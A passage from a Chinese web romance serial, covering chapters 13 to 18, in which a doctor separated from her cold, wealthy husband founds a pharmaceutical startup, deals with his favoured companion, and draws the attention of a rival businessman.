服务员点头道:“刚这个小朋友确实骂得很难听,说这位小姐心肠坏,没有小孩愿意当她的孩子。”
季宴礼猛地站起来:“季知许,谁教你说这些话的?是不是你妈?”
季宴礼的脸因为愤怒而更加森冷,压迫感十足。
季知许却不怕,小脸一扬,一脸不服气的说:“不要什么事都赖我妈头上,她没教过我这些,我就是看这个女人不爽。”
何欣娇滴滴的说:“阿礼,一个五岁的孩子哪会懂这么多,必定是……”
她故意停顿下来看季宴礼,季宴礼的脸色更加难看,何欣心下窃喜:“舒星若,我看你死不死?”
季宴礼在车上看见了刚下车的舒星若,怒火已经到达顶峰。
他下车冲到舒星若面前,愤怒无比:“舒星若,你嫉妒欣欣我知道,我警告过你很多次了,不要教唆儿子。”
舒星若一头雾水:“我教唆儿子什么了?”
季知许以为季宴礼要打舒星若,拼命跑过来护主她:“爸爸,不许打妈妈。”
季宴礼气得苦笑:“舒星若,我警告你最后一次,如果你再教坏儿子,我不介意和你离婚并且带走他。你教不好我亲自来教。”
季宴礼的眸子深沉,看来是真的动怒了。
舒星若心下一颤,现在的她根本就斗不过季宴礼,她垂眸认输:“好,我知道了。我会好好管教许许的。”
季知许气得快吐血了,小脸又红又鼓。
何欣眼看着季宴礼并没有把舒星若怎么样,赶紧从车上下来,走到季宴礼跟前说:“阿礼,今天的事,我想要她给我道歉。”
季宴礼掷地有声的命令:“道歉!”
季知许不乐意了:“是我骂的她,凭什么要我妈妈道歉?”
何欣知道舒星若性子刚烈,这样逼迫她,她必然会和季宴礼闹翻。
她等着看舒星若的好戏。
第13章 生活费还能继续要吗
舒星若紧抿嘴唇,双手攥得很紧,嗓子像是被水泥堵住一样。
她真想冲上前去扇何欣两巴掌,直到看到季宴礼决绝的脸。
她顿住了,她惹不起他,她声音有些沙:“对不起,是我教子无方,给你们添麻烦了。”
季宴礼见她说得诚恳,不再为难她。
“舒星若,绝不能有下次。”
舒星若谦卑地回答:“知道了。”
季宴礼带着何欣回到车里,何欣心里很烦,舒星若什么时候学会能屈能伸了?
早这样,她不会跟父亲何宏闹得那么僵。
她得再找机会让舒星若犯倔,惹怒季宴礼。
正好下周她父母就搬回海市了,舒星若非常厌恶她父母,不愁没有机会。
舒星若带季知许回家,回到房间后她的眼泪再也忍不住,汹涌而出。
她的心被碾压得粉碎,痛得无法呼吸。
季知许心疼地抱着妈妈:“妈妈,对不起,是我忍不住骂了那个女人,害得你被牵连。”
舒星若蹲下来对他说:“你爸爸偏向她,以后你不要逞口舌之快了。妈妈现在没有实力,要是他把你抢走,你天天面对那个女人,吃亏的是你。”
季知许说:“那我就找爷爷奶奶帮忙,让他们帮你。”
季家两位老人都很疼舒星若,但是季氏集团现在完全是季宴礼掌握,他们的话季宴礼经常不听。
舒星若牵季知许去洗澡,她摇头道:“没用的,你爸爸独断专行。你听我的,这一年半我们忍,要是忍不住你就不去见他们。还记得林阿姨的话吗?”
季知许点点头,何欣那张脸他看着实在生气,连带着他那个瞎眼的爹他也讨厌了。
对,以后不见他们。
为了避免今天的事发生,舒星若跟宁可芳说以后周一到周五要帮她接孩子。
宁可芳答应了。
早上一醒来,舒星若的卡上到账一百万。
这是季宴礼给的生活费,每月固定27号到账。
舒星若给林安禾打电话:“季宴礼给的生活费我还能用吗?”
林安禾打着哈欠说:“用,你不用便宜了小三。”
她昨晚加班到深夜,这会还有点迷糊。一听钱瞬间来了精神。
舒星若说:“我不是指这个,我是说我继续花他的钱会不会影响许许的抚养权。”
“不影响,又不是你逼着他给的。他那么有钱,少个几百万都不一定想得起来。”
有了她这句话,舒星若安心下来。
反正现在缺钱,办公室租金,买实验室设备,到处要花钱。
她后悔搬走的时候没把季宴礼的附属卡带出来了,那张卡的额度可不小。
上午她去租了办公室,地段不错,显得他们公司比较专业和有实力。
但是租金很贵,三个月的租金交得舒星若肉疼。
好在这间办公室不用装修,上一个租户也是制药公司。这倒是省了一大笔钱。
准备下午买设备加招人,她忙得有点焦头烂额。
从电梯出来的时候遇到了苏容泽,他穿着雪青丝质衬衫,定制的西裤将大长腿展露得一览无余。
有一种高高在上的矜贵感。
他见到舒星若有些意外,“舒医生怎么来东盛大厦了?”
舒星若疑惑:“我怎么不能来了?难不成这栋楼是你的?”
苏容泽似笑非笑地看着她:“我集团的。”
苏容泽是东盛集团的总裁兼董事长。
东盛大厦一共35层,一楼是东盛银行和一些底商,其余4层往外出租,上面30层全是他们集团的办公室。
舒星若脸上的表情很精彩,貌似在说:“怎么租到这个傻子的地界了?”
苏容泽干咳了一声:“上次冒犯了你,今天我们去吃个饭吧。”
以后抬头不见低头见,舒星若答应了。
两人各自开车到了苏容泽定的餐厅,刚进去,就在门口遇见了何欣和季宴礼。
舒星若蹙眉,她现在很烦看见这两只瘟神。慌忙躲在苏容泽身后,避免被他们看见。
过了一会,苏容泽说:“他们走了。”
舒星若才从他背后钻出来,抱歉地说道:“不好意思。”
苏容泽浅笑没有说话,往包厢走去。
包厢里,苏容泽问舒星若喜欢吃什么,舒星若只点了一道香酥小牛肉和鸡汁奶白菜。
苏容泽笑着问:“你是帮我省钱呢还是看到刚那两人倒胃口?”
舒星若脸上微微一滞:“确实,看到他们就没胃口。”
苏容泽帮舒星若加了几道招牌菜,服务员去下单了,包厢里只剩下他们两人。
气氛尴尬了起来,舒星若低头查看季知许幼儿园的监控回放。
苏容泽忽然幽幽的问道:“季宴礼是你老公?”
季氏在海市赫赫有名,苏容泽认识他并不奇怪。
苏容泽的面容沉在灯光之下,让人看不透他的心思。
舒星若抬眸,发现苏容泽洞察力真好。
“嗯,那女人是他的小…红颜知己。”
苏容泽秒懂,“你为什么不离婚?”
舒星若也搞不懂季宴礼为什么不签离婚协议,她也不敢去问,怕季宴礼来抢抚养权。
“已经申请了分居,我在等分居生效。”
他们已经分居了,苏容泽的心上悄悄拂过一阵愉悦。
他忽然大惊失色,自己为什么听到这个消息要高兴?
吃完饭各自去忙工作了,舒星若去采购了实验室器材和办公设备,好在都有现货。
供应商允诺明天去安装调试。
代办公司那边效率很高,回复明天就拿营业执照,当天下午可以开公户。
公司取名行止生物科技有限公司,她雄心壮志,不仅要制药,有机会的话日化线也要走。
下午四点半,她在东盛大厦楼下的星巴克里面试开始面试人事。
一共约了四个人,两名应届毕业生,一名资深人事但是回家带了三年娃,另一名36岁的姐姐,失业一年了。
两名应届生都是研究生毕业,在当下的公司做得不开心,但见是家初创公司,舒星若给的薪资又不算高,他们兴致缺缺。
后面两位舒星若跟他们聊得很满意,两个人的经验都很丰富。
尤其是那位36岁的姐姐陈欣诺,她做了十几年的人事,之前也是在生物制药公司。
因为年龄问题,一直被其他公司拒绝。
舒星若给两人的答复都是考虑一下,他们脸上尽是失望。
现在的职场对大龄人士太不友好,认为舒星若也是这个态度。
舒星若向分别向他们保证:“她考虑一晚,明天给答复。”
回家之后,舒星若将两份简历摆在桌子上,犹豫不决。
第14章 第一次被儿子拒绝
正在舒星若一筹莫展的时候,林安禾来了,她刚开完庭,一肚子的八卦要跟舒星若分享。
见舒星若对着两份简历发呆,林安禾问:“什么事把你愁成这样?”
舒星若抬头:“这两位都很优秀,我不知道请哪个。”
林安禾翻了一下他们的简历,“你做过背调没有?”
“做了,都是真实履历。”
林安禾说:“这还不简单,两个都请了呗。”
舒星若:“可是我现在刚起步,两个人事怕养不起。”
林安禾轻描淡写地说:“另一个做行政不就行了?反正你现在杂事一大堆,让行政去干。”
舒星若点头:“还是律师的脑子好使。”
家里的保姆王阿姨端菜上桌,舒延兆出诊了,他们几个先吃。
林安禾最喜欢舒家的饭菜,都是做的时令菜,荤素搭配得特别好。
而且这里有她美好的记忆,她不是海市人,大学期间经常跟着舒星若回来蹭饭,舒家二老对她也特别好。
酒足饭饱之后,季知许回房间玩了,林安禾开始讲今天法庭的事。
她当事人发现孩子不是他亲生的,起诉离婚并要求妻子给予精神赔偿。
妻子反爆出当事人与她闺蜜有私生子,DNA鉴定当场甩了出来,妻子当庭反诉闺蜜退还夫妻共同财产。
那个闺蜜心眼多,开了一家小店,男的给她的钱全算成了消费,退还不了。
妻子气得七窍生烟。
双方父母立刻加入骂战,骂着骂着又发现双方父母各自都有婚外情,这就是4段感情了。
两家人骂成了一团,庭上乱成了一锅粥。
所有工作人员都憋笑憋成了内伤,法官最后只能叫了法警维持现场秩序,庭审才继续了下去。
听完这个故事舒星若、宁可芳和王阿姨笑得快岔气了,舒星若直接笑出了眼泪:“那他们后面怎么处理?”
林安禾说:“后来在法庭外面打起来了,路人报的警,全给带走了。下次开庭不知道又有什么新的幺蛾子,我都快憋成工伤了。”
说完八卦之后,林安禾递给舒星若一张卡:“这里面有两百万,我所有的积蓄,你不够我再想办法。”
舒星若感动地抱着她:“安禾,你对我太好了。”
林安禾说:“傻丫头,没有你给我学费,哪来的今天的我?”
两人又聊了一会,林安禾开车回去了。
舒星若洗漱完去给季知许讲故事,刚讲完,母子俩笑成了一团,季宴礼的视频来了。
季知许气性大,还气着呢,伸出小手直接拒绝。
这是季知许第一次拒接他的视频。
季宴礼眉心直跳,他的宝贝儿子怎么会拒绝他?肯定是舒星若那个女人在捣鬼。
他的信息马上过来了:【舒星若,你又在搞什么?叫儿子接视频。】
舒星若回:【儿子今天玩得比较累,已经睡着了。】
季宴礼:【发几张他今天的照片过来。】
舒星若:【你有他幼儿园监控的账号,自己看回放去。】
屡屡被拒,季宴礼气得想把手机给砸了。
何欣此时给他发来一大堆穿着吊带睡衣的自拍,胸前一片白花花,整个人粉嫩又魅惑。
何欣娇媚的发语音:【阿礼,人家好想你!】
季宴礼正在气头上,对何欣的勾引视若无睹,而且他记忆中的何欣清纯无双,怎么会发这么大尺度的照片?
他给何欣回:【不好看,不适合你,以后不要发这种照片。】
何欣气抽了,她不明白季宴礼到底什么意思,明明对她那么好,却迟迟不跟自己睡,“难道他真的喜欢舒星若了吗?”
何欣眼底泛起森冷的寒光:“喜欢也不行,舒星若算个什么东西?她配不上季宴礼这样的男人,他只会是我的。”
她有的是手段和力气把季宴礼抢到手。
上午八点,舒星若给陈予诺打电话:“陈姐,你可以的话尽快来上班,试用期九千,转正后一万一,年底十三薪。”
电话那头的陈予诺欣喜若狂,“好的,我现在就可以过来签入职合同入职。”
舒星若喜欢爽快的人:“好,我在办公室楼下的星巴克等你。”
挂了电话,她又给另外一个面试者岳灵打电话:“岳姐,不知道你有没有意向做行政?”
岳灵有些诧异,问:“你的意思是如果我愿意转行政,就要我?”
舒星若说:“对,试用期六千,转正八千,年底十三薪。我知道你想做人事,人事的经验也很丰富,但是公司起步阶段只需要一个人事,不瞒你说我请了别人。你很优秀,以后如果公司做大了,你可以转到人事岗。”
岳灵见舒星若十分诚恳便答应了下来,她离开职场三年,找份像样的工作实在不容易。
家里开支又大,不能再耽搁下去了。
很快两人入职了,舒星若留他们在公司签收设备和招聘新的人员。
工作安排完之后,舒星若去给季宴礼的父亲季家安买生日礼物。
晚上是他的生日,最近太忙了,差点给忘了。
她打电话问舒延兆:“外公,最近行止堂有没有好的药材?”
舒延兆记得季家安的生日,早就备好了。
“有一只特级野山参,我看过了,很适合老季,一会你过来拿。我不想看见季宴礼那小子,我晚上就不去了。”
舒延兆一直很讨厌季宴礼对舒星若态度,既然结婚了,冷漠如冰是几个意思?
更何况舒星若费尽心血的救他,不知好歹。
这些年他跟季宴礼一次也没见过,免得堵心。
接完季知许之后,舒星若取了人参开车去季家老宅。
季家老宅是一座庄园,依山傍水,景色极好,造得优雅非凡。
前含山色,后临湖光。万竿丛竹,尤饶娴静。
住在这里身心俱悦。
要不是离市区太远,季知许上学不方便,韦瑛早就叫他们搬过来了。
韦瑛挂念舒星若和季知许,早早的就在门口迎接,季知许这个小机灵鬼一下车就冲进了韦瑛的怀里,撒娇道:“奶奶,您越来越漂亮了!”
直夸得韦瑛心花怒放。
季宴礼的车随后也到了,何欣跟随季宴礼从车上下来。
韦瑛沉下脸去,“你把她带来干嘛?”
第15章 带别的女人回老宅
季宴礼面露不悦:“妈,我带个朋友回家都不行了吗?”
何欣从季宴礼助理言永飞那里得知,今天是季家安的生日,缠着季宴礼让他带自己过来。
“阿礼,我从来都没去过季家老宅,我想去看看你从小长大的环境。”
季宴礼点头答应了。
何欣打的主意是她过了明路,以后嫁给季宴礼就简单很多。
韦瑛面色铁青:“她是普通朋友吗?她是你们夫妻之间的第三者。”
听到这话,何欣一脸委屈的望向季宴礼。
季宴礼冷脸:“妈,您别说话这么难听,我跟欣欣之间什么都没有。她要来参加我爸的寿宴,我不觉得有什么不妥。”
他说完带着何欣迈步走了。
韦瑛被气得胃疼,舒星若安慰她:“妈,您不用生气,他现在铁了心的要护何欣,谁劝也没有用。”
韦瑛唯一庆幸的是今天的寿宴没请其他人,不然丢脸丢到黄浦江了。
季知许还是忍不住要生气:“爸爸现在好像老年痴呆。”
舒星若被儿子逗笑:“那你就体谅一下他这个老年人。”牵着季知许走了进去。
韦瑛见舒星若不仅不生气,还能拿这事开玩笑,是彻底不爱了,韦瑛边走边叹气。
家里的老佣人红姨劝她:“少爷太倔了,对少奶奶一点都不好。您撮合多少回了也没用,不如让他们顺其自然。”
季家安不知道季宴礼外面的那些事,见他带了一个陌生女人来,惊异道:“星若呢?你怎么没跟她一起?”
季宴礼对昨晚的她拒绝还有气,直愣愣说道:“她现在又想法子引起我的注意呢,我不愿意搭理她。”
他说这话的时候,舒星若他们到了。
舒星若蹙眉,觉得季宴礼的脑子被狗吃了,不过能跟何欣混在一起,他的确智商下线了。
好女不跟恶狗斗,何况还是只没有脑子的。
她面带微笑的把礼物递给季家安:“爸,祝您身体康健,万事顺遂!”
“乖,星若有心了,这人参是你精挑细选的吧?待会我就泡参茶喝。”
季知许在幼儿园里做了手工模型送给他爷爷,那模型是老爷子最喜欢的太空飞船。
老爷子摩挲着季知许做的模型,小家伙还挺厉害,各种细节都做了,季家安开心得眼睛都笑成一条线:“还是许许最得我心。”
季宴礼和何欣都送上了礼物,季家安叫佣人收了,尤其是何欣的,他看都没看一眼。
何欣脸上一阵发白,季宴礼低声说:“我爸是慢热性子。”
韦瑛冷声在后面补刀:“你爸可不慢热,他第一次见星若就很热情,他只是不喜欢某个人而已。”
何欣脸色更加难看,她心里暗暗发誓:“我一定要舒星若滚蛋。”
季家安抱着季知许坐在主位上聊天,爷孙俩聊得十分投机。
佣人们穿梭如织的上菜,上了十道菜,取意十全十美。
季知许给季家安讲最近看的航天类的知识和相关新闻,季家安震惊于他的知识储备和阅读量。
老爷子兴奋的说道:“比你爸爸小时候还聪明。”
抬头对舒星若说:“星若,这么聪明的孩子你可以多生几个,寒暑假送过来陪我,多有趣。”
季宴礼脸色森冷,抢先道:“爸,我不会再跟她生孩子了。”
季家安厉声问:“你不跟她生你要跟谁生?这个女人吗?她哪一点比得上星若?”
季家安毕竟是一家之主,说得季宴礼不敢反驳,何欣却觉得自己受了天大的委屈,泪眼婆娑的望着季宴礼,让他感受到自己的悲伤。
季宴礼格外心疼的安慰她:“欣欣不哭,明天我带你去京市散散心。”
何欣瞬间转悲为喜,挑衅的望着舒星若。
舒星若静静的看着他们表演,不发一言。
入席之后,舒星若没有跟季宴礼坐一起,坐得离他远远的。
这对夫妻以前貌合神离至少还演一下,现在直接不演了。
季家二老看得直摇头,一餐饭吃得异常安静,只季知许时不时的说两句话,活跃一下气氛。
舒星若神态自若,淡定的享受美食。
吃完饭以后,韦瑛立刻吩咐于管家送客,“我们家不留外人过夜。”
季家确实有这个规矩,季宴礼不好阻拦,让高峰送何欣回去了。
何欣当场表演了一个一步三回头,恋恋不舍的深情戏码。
季宴礼深刻感受到她对自己的拳拳爱意,不像舒星若满脑子的算计。
如果当年不是舒星若下药,一切都会不同。
季知许玩累了,保姆带他去洗澡,舒星若也去洗漱了。
季家安语气威严的说:“宴礼,你做事是越来越没分寸了,一个不三不四的女人也往家里带。”
季宴礼反驳道:“爸,她是当年我车祸的救命恩人,没有她今天我不能站在这里。”
季家安说:“既是救命恩人,你给钱报答,不需要把自己搭进去。你毕竟有家室,星若虽说是我们逼你娶的,但她宜家宜室,不要辜负了她。”
季家安言毕,回了自己的房间。
季宴礼回到房间里,舒星若坐在梳妆台前吹头发。
她一头乌黑浓密的头发,柔软地吹落下来,轻轻飘动,仿佛散发香气。
季宴礼好几天没跟她共处一室,她身上的馨香还是熟悉的味道,他忽然觉得心头有些痒。
他问舒星若:“你什么时候带儿子搬回来?”
舒星若想了想说:“过段时间吧!”
季宴礼心口有点堵:“你把结婚戒指卖了干嘛?”
舒星若想不到他竟然知道这个,一时语塞答不上来。
季宴礼证实了她就是要引起自己的注意,冷声道:“以后不用做这些无用的事,我不会在意。”
舒星若不知道他这话什么意思,淡然的应下:“好,我知道了。”
她吹完头发,拿着一本故事书去了季知许房间。
每次舒星若都把故事生动的演绎,季知许笑得满床打滚,母子俩的动静让季宴礼忍不住过来看。
但是他仿佛是一个外人,融不进他们。
舒星若放下书:“好了,该睡觉了。”
季宴礼溜回房间去洗澡,等舒星若回来他也是香的。
第16章 季总有女朋友了
季宴礼洗完澡躺在床上等了很久,也不见舒星若的身影,他越等越烦。眉头拧在一起,她不是很喜欢自己吗?怎么这么不着急?
终于忍不住起身去看,季知许的房间已经关灯了。
她竟然睡在孩子房间了!
季宴礼的喉咙堵得发疼,这个女人,她竟然拒绝跟他同房?
她有什么资格?当年明明是她主动的。
他怒气冲冲的回房间,心口气得疼:“我看她能坚持多久?”
早上他起来的时候,已经不见了舒星若的身影。
他一肚子疑惑:“这个女人最近到底在搞什么?”碍于面子,他不会给她打电话询问。
快临近国庆假期,舒星若帮季知许请了假,老两口打算带他去国外玩。
昨天办公室的设备到齐了,岳灵请了零时工打扫干净了,她又去采购办公用品。
陈予诺不愧是资深人事,公司所需的会计、研发、销售……,她一一安排了招聘。
有些是内推,有些从别的公司挖,有些网上招。
各种渠道办法都有,舒星若感觉自己太走运了,招了一个这么好的帮手。
代办公司走完所有流程了,她去楼下的东盛银行开公户,弄了三个多小时才弄完。
临走时,遇到视察工作完毕的苏容泽,他被众人簇拥着。
他在一大群人中特别醒目,高挑的身材配着一身高定西装,那张脸帅得尤为突出。
舒星若突然想起季宴礼工作时大概也是这个样子吧,他从来不让她去公司。
想起季宴礼,舒星若想扇自己一个巴掌,这种男人不配她的思念。
苏容泽也看见舒星若了,他没有跟舒星若打招呼,只点头示意。
舒星若回报了他一个浅浅的微笑,两人擦肩而过。
舒星若回办公室处理了一些文件,下午的主要工作是面试。
陈予诺约了各种各样的人才来,照这个进度,国庆假期前就能完成人员招聘。
团队组建完毕,接下来就要准备实验数据和标书。
又要一通忙活了,还好儿子被带出去玩了,不然真的顾不上。
一直忙到国庆假期前,舒星若没有出去旅游,而是钻进实验室继续加班。
到了三号那天,她开车去度假村帮甘净莲看病。
苏容泽也在,舒星若见到他有些意外:“你没出去玩?”
苏容泽半开玩笑道:“我期待你这位神医驾凌呢!”
吉广通昨天给他打电话说,甘净莲已经开始恢复一些神智了,认出他了。
苏容泽连夜飞回海市,迫不及待的来度假村看她。
他和甘净莲感情甚笃,如今外婆瘫痪又神志不清,他伤心了很久。
突然听到甘净莲好转的消息,苏容泽的内心雀跃得比看年报还开心。
舒星若给甘净莲把脉,她神色平静,看不出悲喜。
直把苏容泽看得心痒痒的,又不敢问,怕耽误她诊治。
舒星若一言不发的从药箱里拿出针囊,给甘净莲施针。
针灸约莫半小时后,舒星若又重新写了一个方子递给苏容泽。
苏容泽紧张的问道:“我外婆有恢复的希望吗?”
舒星若露出笑容:“恢复的希望很大,目前小脑出血已经彻底止住了,剩下的交给时间。这个药吃半个月,我半个月后再来。”
苏容泽拿出手机要加舒星若的微信,“我给你转诊疗费。”
苏容泽给她转了一万,舒星若举起手机问:“苏总这是何意?”作为一名医生,她不喜欢别人拿钱砸她。要是为了挣钱,她大可以提高出诊费。
苏容泽忙解释:“这是我给你的谢礼,你对我外婆恩同再造,这点钱不算什么。你必须收下,不然我会不高兴的。”
他边说边瞟舒星若的脸色,她的脸上不喜不忧,她淡淡说道:“行,谢谢苏总的热情!”
她提着药箱往外走,苏容泽听东盛大厦的管理员说她这几天,天天独自加班。
苏容泽开口道:“你老公带他小……红颜知己去京市旅游,你也不必这么压榨自己。”
舒星若眨眼看他:“我不会为了他压榨自己,我是想尽快得到实验数据。他爱干嘛干嘛去。”
她停顿了脚步,看向他:“你怎么会知道他们去了京市?”
苏容泽声音清冷:“不是我特意打听,是他们太高调了。听说是特意申请的航线,坐私人飞机去的,整个海市的商圈都知道。”
舒星若心里仿佛被人揪了一下疼,她记得当年她提出坐季宴礼的私人飞机,被季宴礼狠狠的羞辱过一番,骂她不配。这辈子也别想坐。
果然她在他心里毫无分量,而何欣则是心尖宠。
舒星若的脸色略微发白,苏容泽细致入微,意识到自己说错话了,忙解释道:“不好意思,我不知道你还在乎他。”
舒星若垂眸,长长的睫毛覆盖住她整只眼睛。
她轻声说道:“我不是在乎,只是心疼自家的钱,私人飞机飞一趟很贵的。”这样说自己的心里也没那么痛。
得到这个回答苏容泽有些意外,他脸上突然露出狡诈的笑容:“对,一趟至少几十万。”
舒星若哼了一声,“嗯,败家玩意。”舒星若面色已恢复如初,继续往车前走。
今天海市气温骤降,满三十减二十,舒星若穿得单薄,冷得直哆嗦。
苏容泽问:“要不要去泡温泉?今天这天气正合适。”
“不了,”舒星若拒绝,跟异性去泡温泉太别扭。
苏容泽幽幽的说道:“你老公天天带着小三出双入对,大家都知道季宴礼新交了一位女朋友。你竟然还这么守妇德,怪不得他们敢在你头上蹦迪。”
舒星若对他的激将法毫不在意,“不是所有的人都和他一样没道德。”
苏容泽神色一顿,她这话是在骂自己勾引有夫之妇?
“我只是觉得你没必要把自己逼得太狠。”
舒星若说:“谢谢苏总的好意,我不觉得辛苦。”
开车回到市区,舒星若先回家取了大衣穿上,又泡回实验室里。
下午四点的时候,电话响起,是何宏打来的,也就是舒星若同何欣共同的父亲。
第17章 查查太太在干什么
舒星若看了一眼,直接给挂掉了。
何宏接着打,舒星若干脆把手机调成静音,随便他打去。
一个小时之后,舒星若伸了个懒腰,打开手机看了一眼,何宏打了五个电话,最后发了一条短信:【我明天到海市,欣欣有事去了,你必须来机场接我们。】
舒星若不加他的微信,就是不想被他烦,想不到这老登还发短信。
舒星若骂了一句:“做梦!”
手指飞快的回道:【我明天没空!】
有去接他们的闲工夫不如多做几组实验,而且何宏和田玉芬的那两张脸她可不想看见。
看了让人恶心得吃不下饭。
何宏回:【你一个家庭主妇有什么可忙的?我知道你在海市,必须来接,否则我要你好看。】
舒星若嗤笑一声,这些年何宏是一点长进都没有。
以前他让舒星若叫季宴礼给他资源,舒星若拒绝,他也是这么威胁她的。
她懒得搭理这种靠脸吃饭的无脑男人。
打开外卖软件点了个外卖,继续奋战。
外卖到的时候,苏容泽跟着也到了。
“这么拼?连下去吃饭的时间都舍不得?”
舒星若一边打开外卖一边说:“我不拼不行啊,我……”她话到嘴边又吞了下去,她跟他又不熟,儿子抚养权的事不适合跟他讲。
她开玩笑的说道:“男人靠不住,靠我自己比较实在。”
苏容泽惊奇:“季宴礼抠门到这种地步,生活费都舍不得给你?”以前在商业聚会上见过他,他对这位商业奇才映像不错。
想不到他不仅出轨,还苛待原配,真够没品的。
舒星若不想跟他谈论过多的家庭话题,默不作声的吃起外卖来。
苏容泽自己拉了一个椅子坐下,他说:“我今天下午一直在度假村,我外婆已经认得我了,我推着她出去走了好久。”
舒星若听到病人好转,打心底的感到高兴,脸上的笑容绽放:“那可太好了,有可能很快就痊愈了。”
苏容泽说:“这多亏了你,我是真心的感激你。”
舒星若说:“苏总,你已经感谢我很多次了。实在不必一再的提,我说了,我能救的病人我都救,这是我做医生的职责。”
苏容泽心想:“我不提感谢,你连话都不想跟我说。”
他扫了一眼舒星若的办公室,问:“你要开制药厂?”
“嗯!”舒星若喝了一口汤。
苏容泽说:“我们集团有个投行,你要是钱不够可以找他们投资,或者找东盛银行贷款,利息我给你打折。”
舒星若抬起头来:“谢谢苏总的美意,有需要的话我一定跟您说。”
“你不用跟我这么客气,叫我容泽也不是不行。”苏容泽一边说一边观察舒星若的脸色。
一直平静无波。
舒星若摇头:“咱俩还没熟悉到这个地步,我叫您苏总比较合适。”
谈话间舒星若已经吃完了馄饨,一份小份的还剩了三四个,怪不得她身材苗条。
苏容泽淡淡说道:“我最近看医书,说食少事多不是长寿之相,你自己是中医,也不注意身体?”
舒星若无奈的说:“我嘴比较叼,这家的外卖不太好吃,馄饨的肉很一般,我能吃十个已经是饿得不行了。一会回家会吃宵夜的。”
她没有撒谎,她吃惯了好食材,市面上的外卖大部分她都不爱吃。不过为了工作,只能勉强吃一吃。
“行,那你继续忙,我去享受自己的晚餐了。”苏容泽站起身来,他本来打算请舒星若吃饭的,想不到这个工作狂自己解决了。
舒星若又独自在实验室忙到九点,中间只跟季知许打了个视频,还是他打过来的。
季知许听到爷爷奶奶私底下谈论,季宴礼带何欣去坐私人飞机了,气得快要爆炸了。立刻打电话去骂季宴礼。
“爸爸,你的飞机妈妈都没有坐过,你为什么带别的女人坐?你是不是脑子抽了?”季知许小脸气得一鼓一鼓的。
季宴礼蹙眉不悦:“是你妈教你这么跟我说话的吗?这个心机重的女人。”
韦瑛在一旁说:“星若根本就没跟我们一起出来玩,你不要没事往她身上泼脏水。”
她每次听季宴礼说舒星若心机深重就很气,但凡舒星若用点手段,也不至于六年了拢不住他的心。
没跟他们出去?季宴礼心里一紧,舒星若那么爱孩子,都不跟他出去玩?
她在干嘛,难道是在私会别的男人?
季知许说:“对呀,妈妈哪有空搭理你。你自己一天天的不像话……”
季宴礼没有心情听季知许骂他了,匆匆挂了视频。
拨给言永飞:“帮我查下舒星若最近的行程,看她到底在干嘛。”
季宴礼心里暗暗发狠,要是被他查到舒星若给他戴绿帽子,他一定弄死他们。
舒星若接起视频,看到漂亮的儿子,给了一个大大的笑容。
“许许,今天玩得怎么样?”
季知许心不在焉,他在电话那头关心的问舒星若:“妈妈,你不生气爸爸带那个女人坐他的飞机吗?”
舒星若说:“没什么好生气的,你也不要气了,回来我带你去科技馆玩。”
“好!”
既然妈妈不生气,他也懒得骂爸爸了。
季知许跟她聊了一会这一天所见所闻,他一出去玩就很开心。
他性格活泼,连带着季家安和韦瑛这几天都开心了不少。
韦瑛叮嘱了几句舒星若注意身体,便挂了。
整个国庆假期舒星若都埋头在实验室,两点一线,有一个药物的实验数据很不错。
她决定让团队假期以后,联系医院做临床实验。
一步一步走下去,她有信心,她的制药厂会好的,那时候就可以不惧怕季宴礼了。
八号早上,一份舒星若近期行程摆在了季宴礼的办公桌上,从她搬出季家那天开始。
季宴礼翻到她把办公室租到了东盛大厦,在东盛银行开了公户,还给苏容泽的外婆治病,每次去苏容泽都在。
季宴礼眉头紧锁,“舒星若跟苏容泽有一腿?”
第18章 真相浮出水面
一旁的言永飞说:“季总,应该没有,太太国庆假期天天加班,我查了很久,苏容泽只去过一次办公室。”
季宴礼的眉头松了一些,“天天加班?她是想开制药厂?”
最后一页言永飞的调查报告上也这么写,季宴礼刚缓和的眉头又拧在一起,仿佛自言自语的说道:“她好端端的去开什么制药厂,我养不起她吗,还是她想离开我了?”
舒星若这段时间的反常行为加上离家出走,让他有些心绪不宁。
他也不知道自己怎么了,忽然有些害怕舒星若的离开。
言永飞回答不了猜测性的问题,一言不发。季宴礼又想起这六年的种种,舒星若对他无微不至的关心,永远将他和儿子放在第一位。
他自信的说道:“不会的,舒星若哪里舍得季太太的位置?”
他重复道:“对,她舍不得。”
言永飞提醒道:“总裁,该开会了。”
季宴礼合上报告去会议室开会。
他前脚刚走,后脚何欣就来了。
她这段时间自由出入季宴礼的办公室,没人拦她。
进去之后她好奇的看了一眼办公桌,发现桌上的报告,疑惑的打开看。她心里颤抖,季宴礼怎么会去调查舒星若?
旧情复燃?
可是他们也没有感情。
何欣快速的将报告翻了一遍,看到结尾的结论,何欣计上心头。
何欣在心里暗暗发誓:“舒星若,我不会让你称心如意的。你一定会被我踩在脚下。”
季宴礼开完会,言永飞就告诉他何欣来了。刚回到办公室,何欣就一猛子扎进季宴礼的怀里。
季宴礼有些厌恶的推开她,但是语气里还是关心:“欣欣,你这是怎么了?”
何欣被他无情推开,有些不高兴,但是她的声音听起来还是很软:“阿礼,人家想干点事业,你会支持我吗?”
季宴礼瞥了一眼桌上的报告说:“你想开制药厂?”
何欣震惊得瞳孔地震,被季宴礼的洞察力震撼到了,他竟然能一下子看穿她的心思。
这个男人太可怕了,她必须得打起十二分精神与他周旋。
何欣脸上泛起红晕,温柔的说道:“阿礼,你知道的,我爸本来就是开药房的。我这个想法也算是子承父业了。他们回海市了,看到我事业有成也很高兴的。而且我做得好了,也不丢你脸。”
季宴礼被她的这番话打动,柔声道:“行,集团名下有个瑞祥药业,你去出任CEO,我叫昌叔帮你。业绩好的话我会给你股份。”
何欣心里雀跃欢喜,抱着季宴礼就要亲,却被季宴礼抬手挡住了。
何欣不满的问:“阿礼,为什么这次我回来,你拒绝跟我亲热?”
他们当年恋爱时,季宴礼没少亲她。
这段时候时间季宴礼对她实在是好,要什么给什么,衣服首饰买了一大堆,连房子都送了。
但她实在想不通季宴礼为什么就是不肯碰她。
现在甚至连拥抱和亲吻都不愿意。
她不明白他到底是怎么了?
季宴礼拒绝回答她的问题,冷声道:“欣欣,我还有工作要忙。我让言助理带你去瑞祥药业交接。”
何欣一脸不情不愿的走了,临走之前她又表演了一波情深不舍的戏码,看得季宴礼直揪心。
他控制不住自己,一跟何欣亲近他就觉得恶心,情不自禁的要推开她。
舒星若这边,回来上班的技术员们看到实验数据,惊呼老板简直是卷王,整个假期都在加班。
同时又感觉自己未来的命运很悲催,可能要996了。大家都想不干了,但刚入职就离职,会影响履历。
